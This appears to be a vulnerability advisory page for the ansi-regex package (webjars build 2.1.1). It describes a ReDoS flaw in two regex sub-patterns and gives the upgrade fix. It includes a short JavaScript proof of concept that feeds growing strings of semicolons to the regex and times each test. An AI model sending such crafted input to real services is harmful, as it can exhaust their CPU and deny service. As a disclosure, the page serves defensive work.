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org.webjars.npm:ansi-regex@2.1.1 vulnerabilities

  • latest version

    6.0.1

  • latest non vulnerable version

    6.0.1

  • first published

    9 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:ansi-regex package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

    PoC

    import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:ansi-regex to version 6.0.1 or higher.

    [,6.0.1)
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